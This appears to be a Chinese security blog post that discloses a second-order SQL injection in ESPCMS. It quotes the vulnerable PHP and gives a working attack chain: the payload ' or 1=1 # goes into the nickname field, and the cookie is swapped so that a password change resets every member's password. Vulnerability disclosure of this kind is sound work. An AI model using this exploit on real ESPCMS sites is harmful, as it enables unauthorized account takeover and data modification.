espcms 二次注入一枚

没穿底裤 2019年12月31日21:08:14评论427 views字数 1851阅读6分10秒阅读模式
摘要

Author:Yaseng1:通过 $alias 二次注入来控制sql用户昵称 $alias 从数据库查询出来 未过滤

Author:Yaseng

1:通过 $alias 二次注入来控制sql

用户昵称 $alias 从数据库查询出来 未过滤

interface/member.php
[php]
$db_sql = "SELECT * FROM $db_table WHERE $db_where";

$rsMember = $this->db->fetch_first($db_sql);

if (!$rsMember) {

..................................................

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
[/php]
//查询出来时 无 addcslashes 可造成二次注入

虽然cookie 加密 无法逆向,但是已经可以通过控制 $alias 来生成 某些sql 进行注入

2:$this->ec_member_username 注入

public/class_connector.php 文件 中
[php]
$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
[/php]

$this->ec_member_username 利用 1 来控制 sql (无视 gpc ,无视单引号)

随便找到一个调用 $this->ec_member_username 的地方

如 interface/membermain.php 文件中 修改密码处
[php]
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";

$db_sql = "SELECT * FROM $db_table WHERE $db_where";

$rsMember = $this->db->fetch_first($db_sql);

if (!$rsMember) {

$linkURL = $this->mlink['memedit_password'];

$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);

} else {

$db_set = "password='$password'";

$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
[/php]
调用了 $this->ec_member_username 可以进行注入

3:注入利用

经过 1,2 分析 一次完整的注入攻击

登录 => 编辑资料(写入注入 payload) =>退出 =>登录 =>设置cookie(ec_member_username =ecisp_member_info)=> 修改密码 => sql 注入

比如我要修改 所有会员的密码
espcms 二次注入一枚
编辑资料 昵称处填写 ' or 1=1 # 然后重新登录 修改cookie中 ec_member_username 的值为 ecisp_member_info的值
espcms 二次注入一枚
新旧密码不要相同 此时的 sql 语句为:
[php]
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|[email protected]|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'[/php]
打完收工

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日21:08:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   espcms 二次注入一枚http://cn-sec.com/archives/75202.html

发表评论

匿名网友 填写信息